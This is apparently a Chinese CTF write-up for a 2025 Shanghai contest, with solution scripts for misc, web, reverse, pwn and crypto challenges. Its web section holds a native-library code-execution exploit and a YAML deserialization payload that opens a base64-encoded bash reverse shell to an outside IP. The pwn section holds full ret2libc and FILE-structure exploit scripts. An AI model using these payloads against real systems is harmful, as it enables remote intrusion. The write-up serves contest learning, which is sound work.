上海市赛

MISC

两个数

with open("chal1.txt", "r") as f2r:
    contents = f2r.readlines()
    string1 = ""
    for content in contents:
        content = content.replace("\n", "")
        print(content)
        if len(content) == 7:
            string1 += content
        elif len(content) == 6:
            content = content + "0"
            string1 += content

print(string1)

C0ngr4tu1ation!!Y0u_hav3_passed_th3_first_l3ve1!!

chal2.txt

转条形码和二维码无果

试试格雷码

01111011011110110111101101111011011110111100100101011001100100010101100101110011000001011101100110001001111100110011100101011001001100010000010100110011111010011101000100000101001100111001000101101001101100011011000101111001000001010011001110010001011110011110100100000101010101011111001101100001

转后

01010010010100100101001001010010010100101000111001101110111000011001000110100010000001101001000100001110101000100010111001101110001000011111100111011101010011101001111000000110001000101110000110110001001000010010000110101110000001100010001011100001101011101011000111111001100110010101110110111110

-.-...-.-.-...-.-.-...-.-.-...-.-.-...-..---...--..-...-...----.-..-...--.-.--.------..-.--....-.......-.-.---.---.-...--..-...---.----.-----..---.---.-.-.....-.--.---.-----..---.---.-...----.-.--...-..-.---...-.---.-.-....------..---.---.-...----.-.-....-.-.....------..--..--..-.-.---.--.-----.

derderjia

发现TLS流量加密的密钥有泄露，将其保存下来

wireshark中Edit (编辑) -> Preferences (首选项)

在弹出的“Preferences”窗口中，展开左侧的 Protocols (协议) 列表，找到TLS，在(Pre)-Master-Secret log filename处设置密钥文件。再次打开流量文件即可解析TLS流量。

追踪http流发现有文件上传。

提取压缩包

密码PanShi2025!

爆破crc

easy_misc

secret.psd

FAKE_FLAG{nizenmezhemeshuliana!}

有压缩包

伪加密

ook

y0u_c@t_m3!!!

ModelUnguilty

找不到“秘密指令”，干脆破罐子破摔直接把测试集里3/4的spam改成not_spam，结果就过了。。。。

像素

发现steg隐写提取出一张png

盲水印后没东西

WEB

ezDecryption

web-jaba_ez

应该是非预期，另一个jar包都没用到。

/job/run/{jobName} 路由可以执行任意方法，静态非静态都可以，但必须得是public。而且有黑名单。

java.lang.System#load不在黑名单里，可以加载任意 so 文件。上传文件：

import requests

url = 'http://pss.idss-cn.com:21207'

file = open('test2.so', 'rb')

res = requests.post(url=url + '/api/upload', files = {"file" : file})
print(res.text)

然后添加job：

{
  "jobName":"test5",
  "invokeTarget":"java.lang.System#load('/tmp/uploads/test2.so')com.jabaez.FLAG"
}

在 invokeTarget 的括号外面加上 com.jabaez.FLAG 来绕过白名单。然后 POST 访问 /api/job/run/test5 即可执行。测试发现 load /lib/x86_64-linux-gnu/libc.so.6 文件不会报错，说明是 amd64 系统。使用 attribute ((constructor)) void preload (void) 语法使其在 load 阶段就可以直接执行而不是依赖于 native 方法。

似乎不出网，通过写 fd 文件回显，so 文件源码：

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>

void captureOutput(const char* cmd, char* buffer, size_t buf_size) {
    FILE* fp = popen(cmd, "r");
    if (!fp) {
        perror("popen failed");
        exit(EXIT_FAILURE);
    }

    size_t total_read = 0;
    char* pos = buffer;
    while (fgets(pos, buf_size - total_read, fp) != NULL) {
        size_t bytes_read = strlen(pos);
        total_read += bytes_read;
        pos += bytes_read;
        if (total_read >= buf_size - 1) break; // 防止溢出
    }
    buffer[total_read] = '\0'; // 终止字符串
    pclose(fp);
}


// 构造函数：在 .so 文件加载时自动执行（早于任何 JNI 方法调用）
__attribute__ ((__constructor__)) void preload (void) {
    printf("[Preload] Constructor executed! Library is loaded.\n");
    // 此处可初始化全局资源（如配置、线程池、注册回调等）
    const char cmd[256] = "cat /flag.txt";
    char output[40960];
    captureOutput(cmd, output, sizeof(output));
    const char *data = output;

    DIR *dir;
    struct dirent *entry;
    struct stat statbuf;
    char path[256];
    ssize_t write_result;

    // 1. 打开 /proc/self/fd 目录
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("opendir failed");
        exit(EXIT_FAILURE);
    }

    printf("检测到的Socket文件描述符：\n");

    // 2. 遍历目录中的文件描述符
    while ((entry = readdir(dir)) != NULL) {
        // 跳过 "." 和 ".." 目录项
        if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) 
            continue;

        // 构建完整路径：/proc/self/fd/<fd>
        snprintf(path, sizeof(path), "/proc/self/fd/%s", entry->d_name);

        // 3. 获取文件状态信息
        if (lstat(path, &statbuf) == -1) {
            perror("lstat failed");
            continue;
        }

        // 4. 检查是否为socket文件（S_IFSOCK标志）
        if (S_ISLNK(statbuf.st_mode)) {
            // 3. 解析目标类型（需额外读取链接内容）
            char target[256];
            ssize_t len = readlink(path, target, sizeof(target)-1);
            if (len == -1) {
                perror("readlink failed");
                return;
            }
            target[len] = '\0';

            // 4. 根据目标路径判断类型（示例：套接字）
            if (strstr(target, "socket:") != NULL) {
                printf("Unix 域套接字 (inode: %s)\n", target + 7); // 提取 inode 号

                int fd = atoi(entry->d_name); // 将描述符字符串转为整数

                // 5. 尝试写入数据
                write_result = write(fd, data, strlen(data));
                if (write_result == -1) {
                    perror("写入失败"); // 常见错误：EBADF（无效描述符）、ENOTSOCK（非socket）
                } else {
                    printf("成功写入 %zd 字节\n", write_result);
                }

            } else {
                printf("普通文件或目录\n");
            }
        } else {
            printf("非符号链接\n");
        }
    }

    // 6. 关闭目录并退出
    closedir(dir);
}

编译：

1	`gcc -fPIC -shared -o test2.so exp.c`

写 fd 回显属于操作 tcp 数据达成回显，所以执行结果在 HTTP 头上面。

编译 so 所使用的系统：Linux kali 6.1.0-kali9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1kali1 (2023-05-12) x86_64 GNU/Linux

web_ezyaml

yaml 反序列化，没过滤 org.springframework.context.support.FileSystemXmlApplicationContext 类，这个类跟 ClassPathXmlApplicationContext 作用一样。

1	`!!org.springframework.context.support.FileSystemXmlApplicationContext [ "http://ip:port/exp.xml" ]`

exp.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
  http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg >
      <list>
        <value>bash</value>
        <value>-c</value>
        <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzcuNjIuMjMyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Reverse

easy_RE

找到加密函数和加密密文

from collections import deque

def ror(val, r_bits):
    return ((val >> r_bits) | (val << (8 - r_bits))) & 0xFF

def init_v23():
    v23 = list(range(256))
    v8 = 0
    for i in range(256):
        v8 = (v8 + v23[i] - 7 * (i // 7) + i + 4919) % 256
        v23[i], v23[v8] = v23[v8], v23[i]
    return v23

def stage2_reverse(data):
    result = [0] * len(data)
    for i in reversed(range(len(data))):
        if i == 0:
            result[i] = data[i] ^ 0x42
        else:
            result[i] = data[i] ^ 0x42 ^ data[i - 1]
    return result

def decrypt(cipher):
    # Step 1: Reverse the final XOR+chaining layer
    stage2 = stage2_reverse(cipher)

    # Step 2: Reverse RC4-like encryption with ROL and temp add
    v23 = init_v23()
    v14 = 0
    v15 = 0
    plain = []
    for i in range(len(stage2)):
        v14 = (v14 + 1) % 256
        if v14 % 3 == 0:
            v20 = (v23[(3 * v14) % 256] + v15) % 256
        else:
            v20 = (v23[v14] + v15) % 256
        v15 = v20 % 256
        v23[v14], v23[v15] = v23[v15], v23[v14]
        idx = (v23[v14] + v23[v15]) % 256
        temp = (v14 * v15) % 16
        byte = ror(stage2[i], 3)
        plain_byte = (byte - temp) & 0xFF
        plain_byte ^= v23[idx]
        plain.append(plain_byte)
    return bytes(plain)

cipher = [
    0x93, 0xF9, 0x8D, 0x92, 0x52, 0x57, 0xD9, 0x05,
    0xC6, 0x0A, 0x50, 0xC7, 0xDB, 0x4F, 0xCB, 0xD8,
    0x5D, 0xA6, 0xB9, 0x40, 0x95, 0x70, 0xE7, 0x9A,
    0x37, 0x72, 0x4D, 0xEF, 0x57
]

flag = decrypt(cipher)
print("Decrypted flag:", flag.decode(errors='ignore'))

My-Key

尾地址40a0找到加密比较逻辑

ida管理员权限打开附加到一个打开的mfc程序在这里下断点

加密第一轮先把固定字符串与我们输入的按位异或 WcE4Bbm4kHYQsAcX

这里应该是每四位取一个16进制数，然后按照他的逻辑进行右移处理

这里还有对长度的判断，这里是cmp内部函数目前测出输入至少应该是27位起（这里`可能不是）

去花后

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void decrypt(uint32_t v[2], const uint32_t key[4]) {
    uint32_t v0 = v[0], v1 = v[1], delta = 0x768CAB2E;
    int sum=delta*(-32);
    for (int i = 0; i < 32; i++) {
        v1 -= ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3])^sum;
        v0 -= ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1])^sum;
        sum += delta;
    }
    v[0] = v0;
    v[1] = v1;
}

int main() {
    uint32_t key[4] = {2, 0, 2, 2};
    uint32_t v5[10] = {0x569a1c45,0xEF2C6A10,0xFB440BD6,0x5797F41D,0x523FF2C3,0x48337CD9,0x3616AC2D,0x6B6312D}; 
    for (int i = 0; i < 8; i += 2) {
        decrypt(&v5[i], key);
    }

    for (int i = 0; i < 8; i++) {
        for (int m = 0; m <= 3; m++) {
            printf("%c", (v5[i] >> (8 * m)) & 0xff);
        }
    }

    return 0;
}
#b3d06a66f8aa86e3e6390f615e389e55

Pwn

account

已给libc.so利用puts泄露ASLR基址即可。

逐个发送整数覆盖栈，注意v2作为指针，当覆盖v2时最好保持其值不变。同时libc地址超过了 int 最大值需使用负数令程序读入

exp:

from pwn import *
from libcfind import *
context(os='linux', arch='i386')
context.log_level = 'debug'
elf = ELF("./account")
p = process("./account")
p = remote("pss.idss-cn.com", 22948)
libc = ELF("./libc-2.31.so")
#p = gdb.debug("./account","b *0x080492A5")
offset = 13
p.recv()
for i in range(1,offset+1):
    bstr = str(i).encode("utf-8")
    p.sendline(bstr)

main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
puts_libc = libc.symbols['puts']
bin_sh = next(libc.search(b'/bin/sh'))
system_addr = libc.symbols['system']
payload1 = [puts_plt, main, puts_got]

for i in payload1:
    bstr = str(i).encode("utf-8")
    p.sendline(bstr)
p.sendline(b"0")
puts_addr = u32(p.recvuntil(b"\xf7")[-4:])
print(hex(puts_addr))
libcbase = puts_addr - puts_libc
system_addr = libcbase + system_addr
bin_sh = libcbase + bin_sh
system_addr = system_addr - 2**32
bin_sh = bin_sh - 2**32
payload2 = [system_addr,1,bin_sh]
p.recv()
for i in range(1,offset+1):
    bstr = str(i).encode("utf-8")
    p.sendline(bstr)
for i in payload2:
    bstr = str(i).encode("utf-8")
    p.sendline(bstr)
#gdb.attach(p, "b *0x080492A5")
p.interactive()

user

比较明显的io_file路子，有点猪脑忘记咋用了，原理网上有介绍。

io总的来说能在没有puts这类函数的时候泄露地址，也能任意地址写。在glibc高版本比较喜欢出这个

add没啥好看的

edit有个明显的整数溢出，这里可以往回写

这里写一下stdout把地址泄露出来

还有个特别舒服的地址0x55e848636008，这东西指向自己那我们就可以第一次把他改成free_hook，第二次把one_gadget写进free_hook,然后通过free触发就完事了

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')   
#p = process('./user')
elf=ELF('./user')
p=remote('pss.idss-cn.com',22028)
def add(content):
        p.sendlineafter("5. Exit",str(1))
        p.sendlineafter("Enter your username:",content)

def free(i):
        p.sendlineafter("5. Exit",str(2))
        p.sendlineafter("index:",str(i))
def show(i):
        p.sendlineafter("5. Exit",str(3))
        p.sendlineafter("index:",str(i))
def edit(i,content):
        p.sendlineafter("5. Exit",str(4))
        p.sendlineafter("index:",str(i))
        p.sendlineafter("Enter a new username:",content)

add(b'/bin/sh\x00')
edit(str(-8),p64(0xfbad1800)+p64(0x0)*3+b'\x00')
addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base=addr - 1794009
malloc_hook = libc_base+libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system=libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
got=libc_base + 0x1EC0A8
one=libc_base + 0xe3b01
edit(str(-11),p64(free_hook))
edit(str(-11),p64(system))

free(0)
p.interactive()

Crypto

AES_GCM_IV_Reuse

已知密文 ^ 已知明文 ^ 目标密文 = 目标明文（flag）

from binascii import unhexlify
from itertools import cycle

def xor_bytes(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))

known_plaintext = b"The flag is hidden somewhere in this encrypted system."
known_ciphertext = unhexlify("b7eb5c9e8ea16f3dec89b6dfb65670343efe2ea88e0e88c490da73287c86e8ebf375ea1194b0d8b14f8b6329a44f396683f22cf8adf8")
target_ciphertext = unhexlify("85ef58d9938a4d1793a993a0ac0c612368cf3fa8be07d9dd9f8c737d299cd9adb76fdc1187b6c3a00c866a20")

keystream = xor_bytes(known_plaintext, known_ciphertext[:len(known_plaintext)])
recovered_flag = xor_bytes(target_ciphertext[:len(keystream)], keystream)

print("Recovered flag:", recovered_flag.decode())

多重Caesar密码

尝试爆破无果

这里猜出前面是easy，第二个是caesar最后面是attack

错误的脚本

cipher = "myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}"
primes  = [7, 13, 5, 19, 3, 17, 6, 2, 17]

out, q = [], primes[:]
for ch in cipher:
    if ch.isalpha():
        shift = q[0]
        plain = (ord(ch) - ord('a') - shift) % 26
        out.append(chr(plain + ord('a')))
        q.append(q.pop(0))
    else:
        out.append(ch)
        q.append(q.pop(0))

print(''.join(out))

结果ai直接非预期出来了

flag{easy_caesar_with_multiple_shifts_2025}

rsa-dl_leak

n = 143504495074135116523479572513193257538457891976052298438652079929596651523432364937341930982173023552175436173885654930971376970322922498317976493562072926136659852344920009858340197366796444840464302446464493305526983923226244799894266646253468068881999233902997176323684443197642773123213917372573050601477
c = 141699518880360825234198786612952695897842876092920232629929387949988050288276438446103693342179727296549008517932766734449401585097483656759727472217476111942285691988125304733806468920104615795505322633807031565453083413471250166739315942515829249512300243607424590170257225854237018813544527796454663165076
dl = 1761714636451980705225596515441824697034096304822566643697981898035887055658807020442662924585355268098963915429014997296853529408546333631721472245329506038801
e = 65537
known_bits = 530  # d 的低 530 位已知

print("开始攻击：尝试从 d 的低 530 位恢复 RSA 私钥...")
print(f"n has {n.bit_length()} bits")

# =============== 攻击函数 ===============
def recover_pq(n, e, dl, known_bits):
    from sage.all import Integer, sqrt, gcd, inverse_mod

    modulus = e << known_bits  # 模数是 e * 2^530
    dl_mod = dl % (1 << known_bits)

    # 枚举 k ∈ [1, e]
    for k in range(1, e + 1):
        if k % 1000 == 0:
            print(f"枚举 k = {k} / {e} ...")

        # 我们有：e * d ≡ 1 (mod φ(n)) => d = (1 + k*φ(n)) / e
        # 且 d ≡ dl (mod 2^530)
        # 所以：(1 + k*φ(n)) / e ≡ dl (mod 2^530)
        # => 1 + k*φ(n) ≡ e * dl (mod e * 2^530)
        # => k*φ(n) ≡ e*dl - 1 (mod e * 2^530)

        rhs = (e * dl - 1) % modulus
        g = gcd(k, modulus)
        if rhs % g != 0:
            continue

        # 解：k * φ(n) ≡ rhs (mod modulus)
        try:
            phi_mod = (Integer(rhs) // g) * inverse_mod(Integer(k) // g, Integer(modulus) // g)
            phi_mod = Integer(phi_mod) % (modulus // g)
        except:
            continue

        # φ(n) ≈ n - 2√n + 1
        sqrt_n = Integer(n).isqrt()
        phi_approx = n - 2*sqrt_n + 1

        # 遍历所有可能的 φ(n) = phi_mod + t * (modulus // g)
        step = modulus // g
        t_low = (phi_approx - 2*step - phi_mod) // step
        t_high = (phi_approx + 2*step - phi_mod) // step

        for t in range(t_low, t_high + 1):
            phi = phi_mod + t * step
            if phi <= 0 or phi >= n:
                continue

            # 由 φ(n) = (p-1)(q-1) = n - p - q + 1
            # 得：p + q = n + 1 - φ(n)
            s = n + 1 - phi
            # 判别式
            disc = s^2 - 4*n
            if disc < 0:
                continue
            root_disc = disc.isqrt()
            if root_disc^2 != disc:
                continue

            p = (s + root_disc) // 2
            q = (s - root_disc) // 2

            if p * q == n and p > 1 and q > 1:
                print(f"成功！找到 p 和 q (k = {k})")
                return p, q

    return None

result = recover_pq(n, e, dl, known_bits)

if result:
    p, q = result
    print(f"p = {p}")
    print(f"q = {q}")

    phi = (p-1)*(q-1)
    d = inverse_mod(e, phi)
    m = power_mod(c, d, n)
    try:
        flag = bytes.fromhex(hex(m)[2:]).decode('utf-8')
        print(f"成功解密 flag: {flag}")
    except:
        print(f"解密成功，明文为: {m}")
        print(f"明文 hex: {hex(m)}")

else:
    print("攻击失败：未能恢复 p 和 q")
    print("可能是 k 超出范围，或需要更高级的格攻击")

数据安全

JWT_Weak_Secret

import jwt
import json
from jwt.exceptions import InvalidSignatureError, ExpiredSignatureError, DecodeError

def is_admin(payload):
    """检查JWT载荷是否具有管理员权限"""
    return payload.get('admin') is True or payload.get('role') in ['admin', 'superuser']

# 读取公钥文件
with open('public.pem', 'r') as f:
    public_key = f.read()

# 读取弱密码字典
with open('wordlist.txt', 'r') as f:
    passwords = [line.strip() for line in f]

# 读取JWT令牌
with open('tokens.txt', 'r') as f:
    tokens = [line.strip() for line in f]

valid_admin_tokens = []

for idx, token in enumerate(tokens, start=1):
    try:
        # 解析头部获取算法
        header = jwt.get_unverified_header(token)
        alg = header.get('alg')

        # HS256算法：使用字典尝试验证
        if alg == 'HS256':
            for password in passwords:
                try:
                    payload = jwt.decode(
                        token,
                        password,
                        algorithms=['HS256'],
                        options={'verify_exp': False, 'verify_signature': True}
                    )
                    if is_admin(payload):
                        valid_admin_tokens.append(idx)
                        break
                except InvalidSignatureError:
                    continue

        # RS256算法：使用公钥验证
        elif alg == 'RS256':
            payload = jwt.decode(
                token,
                public_key,
                algorithms=['RS256'],
                options={'verify_exp': False}
            )
            if is_admin(payload):
                valid_admin_tokens.append(idx)

    except (InvalidSignatureError, ExpiredSignatureError, DecodeError):
        continue

# 输出结果
valid_admin_tokens.sort()
result = ":".join(map(str, valid_admin_tokens))
print(f"flag{{{result}}}")

ACL_Allow_Count

import ipaddress


def parse_rules(rules_text):
    rules = []
    for line in rules_text.strip().split('\n'):
        parts = line.split()
        action = parts[0]
        proto = parts[1]
        src = parts[2]
        dst = parts[3]
        dport = parts[4]
        rules.append({
            'action': action,
            'proto': proto,
            'src': src,
            'dst': dst,
            'dport': dport
        })
    return rules


def parse_traffic(traffic_text):
    traffic = []
    for line in traffic_text.strip().split('\n'):
        parts = line.split()
        proto = parts[0]
        src = parts[1]
        dst = parts[2]
        dport = int(parts[3])
        traffic.append({
            'proto': proto,
            'src': src,
            'dst': dst,
            'dport': dport
        })
    return traffic


def is_match(rule, flow):
    if rule['proto'] != 'any' and rule['proto'] != flow['proto']:
        return False

    if rule['src'] != 'any':
        try:
            if '/' in rule['src']:
                if ipaddress.ip_address(flow['src']) not in ipaddress.ip_network(rule['src']):
                    return False
            else:
                if rule['src'] != flow['src']:
                    return False
        except:
            return False

    if rule['dst'] != 'any':
        try:
            if '/' in rule['dst']:
                if ipaddress.ip_address(flow['dst']) not in ipaddress.ip_network(rule['dst']):
                    return False
            else:
                if rule['dst'] != flow['dst']:
                    return False
        except:
            return False

    if rule['dport'] != 'any':
        try:
            if int(rule['dport']) != flow['dport']:
                return False
        except:
            return False

    return True


def main():
    with open('rules.txt', 'r') as f:
        rules_text = f.read()
    with open('traffic.txt', 'r') as f:
        traffic_text = f.read()

    rules = parse_rules(rules_text)
    traffic = parse_traffic(traffic_text)

    allow_count = 0

    for flow in traffic:
        matched = False
        for rule in rules:
            if is_match(rule, flow):
                if rule['action'] == 'allow':
                    allow_count += 1
                matched = True
                break

    print(f"flag{allow_count}")


if __name__ == '__main__':
    main()

Brute_Force_Detection

from datetime import datetime, timedelta
import re

def detect_bruteforce_success(log_file):
    # 初始化数据结构
    user_ip_fails = {}  # 存储每个(user, ip)的失败时间列表
    bruteforce_ips = set()  # 存储满足暴力破解条件的IP
    
    with open(log_file, 'r') as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            
            # 解析时间（前19个字符）
            try:
                time_str = line[:19]
                timestamp = datetime.strptime(time_str, "%Y-%m-%d %H:%M:%S")
            except:
                continue
            
            # 解析结果（SUCCESS/FAIL）
            parts = line.split()
            if len(parts) < 4:
                continue
            result = parts[2]
            
            # 解析user和ip
            user, ip = None, None
            for part in parts[3:]:
                if part.startswith('user='):
                    user = part.split('=')[1]
                elif part.startswith('ip='):
                    ip = part.split('=')[1]
            
            if not user or not ip:
                continue
            
            key = (user, ip)
            
            # 初始化失败记录列表
            if key not in user_ip_fails:
                user_ip_fails[key] = []
            
            # 处理FAIL事件
            if result == 'FAIL':
                user_ip_fails[key].append(timestamp)
            
            # 处理SUCCESS事件
            elif result == 'SUCCESS':
                fails = user_ip_fails[key]
                if len(fails) >= 5:
                    # 检查最近的5次失败
                    last_five = fails[-5:]
                    time_diff = (last_five[-1] - last_five[0]).total_seconds()
                    
                    # 验证时间窗口和连续性
                    if time_diff <= 600:  # 10分钟=600秒
                        bruteforce_ips.add(ip)
                
                # 重置该(user, ip)的失败记录
                user_ip_fails[key] = []
    
    # 对IP地址排序（数值序）
    sorted_ips = sorted(bruteforce_ips, key=lambda ip: [int(part) for part in ip.split('.')])
    return f"flag{{{':'.join(sorted_ips)}}}"

# 示例使用
result = detect_bruteforce_success("auth.log")
print(result)

更新: 2025-08-06 21:25:49
原文: https://www.yuque.com/chaye-apqbl/vsc85q/sln5606e1wh0w78v

http://example.com/2026/01/19/WP/2025/上海市赛/index/

Author

chaye

Posted on

January 19, 2026

Licensed under